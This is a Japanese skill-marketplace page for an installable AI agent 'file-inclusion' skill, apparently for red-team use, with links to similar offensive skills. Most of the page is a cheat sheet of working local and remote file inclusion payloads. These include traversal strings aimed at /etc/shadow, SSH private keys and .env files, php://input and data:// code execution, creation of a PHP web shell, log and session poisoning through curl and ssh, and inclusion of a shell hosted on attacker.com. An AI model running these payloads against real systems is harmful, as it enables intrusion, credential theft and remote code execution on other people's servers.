ワンクリックで
file-inclusion
Detect and exploit local and remote file inclusion vulnerabilities for sensitive data access and code execution
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
メニュー
Detect and exploit local and remote file inclusion vulnerabilities for sensitive data access and code execution
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
SOC 職業分類に基づく
Business logic vulnerability detection — workflow bypass, price manipulation, state abuse, and application-specific flaws
Detect PII, credentials, and corporate sensitive data in API responses, source code, files, headers, and database extracts
Detect and exploit SQL injection vulnerabilities in web application parameters
Test for authentication and authorization flaws including credential attacks, session issues, and access control bypasses
Detect and exploit cross-site scripting vulnerabilities in web applications
Discover hidden parameters, test values, and identify input handling anomalies
| name | file-inclusion |
| description | Detect and exploit local and remote file inclusion vulnerabilities for sensitive data access and code execution |
| origin | RedteamOpencode |
page=, file=, template=, include=, path=, doc=, lang=/index.php?page=about?page=../../../etc/passwd
?page=....//....//....//etc/passwd
?file=..%2f..%2f..%2fetc/passwd
?page=/etc/passwd
?page=..\..\..\..\windows\win.ini
?page=C:\windows\win.ini
# Double encoding
?page=%252e%252e%252f%252e%252e%252fetc%252fpasswd
# Null byte (PHP < 5.3.4)
?page=../../../etc/passwd%00
# Dot-dot-slash variations
?page=....//....//....//etc/passwd
?page=..;/..;/..;/etc/passwd # Tomcat/Java
?page=..%c0%af..%c0%afetc/passwd # Overlong UTF-8
?page=..%ef%bc%8f..%ef%bc%8fetc/passwd # Unicode fullwidth slash
# Path truncation (PHP < 5.3, 4096+ chars)
?page=../../../etc/passwd/./././././[...repeat...]
# Extension bypass
?page=php://filter/convert.base64-encode/resource=index # reads index.php
?page=../../../etc/passwd%00.php
/etc/passwd, /etc/shadow, /etc/hosts, /proc/self/environ, /proc/self/cmdline
/proc/self/fd/0-20, /proc/net/tcp, /home/USER/.ssh/id_rsa
/var/log/auth.log, /var/log/apache2/access.log, /var/log/nginx/access.log
/etc/apache2/sites-enabled/000-default.conf, /etc/nginx/sites-enabled/default
/var/www/html/index.php, /var/www/html/config.php, /var/www/html/.env
/var/www/html/wp-config.php, .env, config.php, config.yml, database.yml, settings.py
C:\windows\win.ini, C:\windows\system32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config, C:\xampp\apache\conf\httpd.conf
?page=php://filter/convert.base64-encode/resource=index
?page=php://filter/convert.base64-encode/resource=config
echo "BASE64_OUTPUT" | base64 -d
run_tool curl -X POST "http://target/index.php?page=php://input" --data "<?php system('id'); ?>"
?page=data://text/plain,<?php system('id'); ?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
?page=expect://id
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.zip shell.php
?page=zip://uploads/shell.zip%23shell.php
?page=phar://uploads/shell.phar/shell.php
# Inject PHP into access log via User-Agent
run_tool curl -A "<?php system(\$_GET['cmd']); ?>" http://target/
# Include the log file
?page=../../../var/log/apache2/access.log&cmd=id
# Alt: SSH log injection
ssh "<?php system(\$_GET['cmd']); ?>"@target
?page=../../../var/log/auth.log&cmd=id
run_tool curl -A "<?php system('id'); ?>" "http://target/?page=../../../proc/self/environ"
# Session files at: /var/lib/php/sessions/sess_ID or /tmp/sess_ID
# Set session var containing PHP code, then include session file
?page=../../../var/lib/php/sessions/sess_YOUR_SESSION_ID
python3 php_filter_chain_generator.py --chain '<?php system("id"); ?>'
# Use output as inclusion parameter value
?page=http://attacker.com/shell.txt # shell.txt: <?php system($_GET['cmd']); ?>
?page=http://attacker.com/shell.txt%00 # null byte to strip appended extension
?page=\\attacker.com\share\shell.php # SMB (Windows, no allow_url_include needed)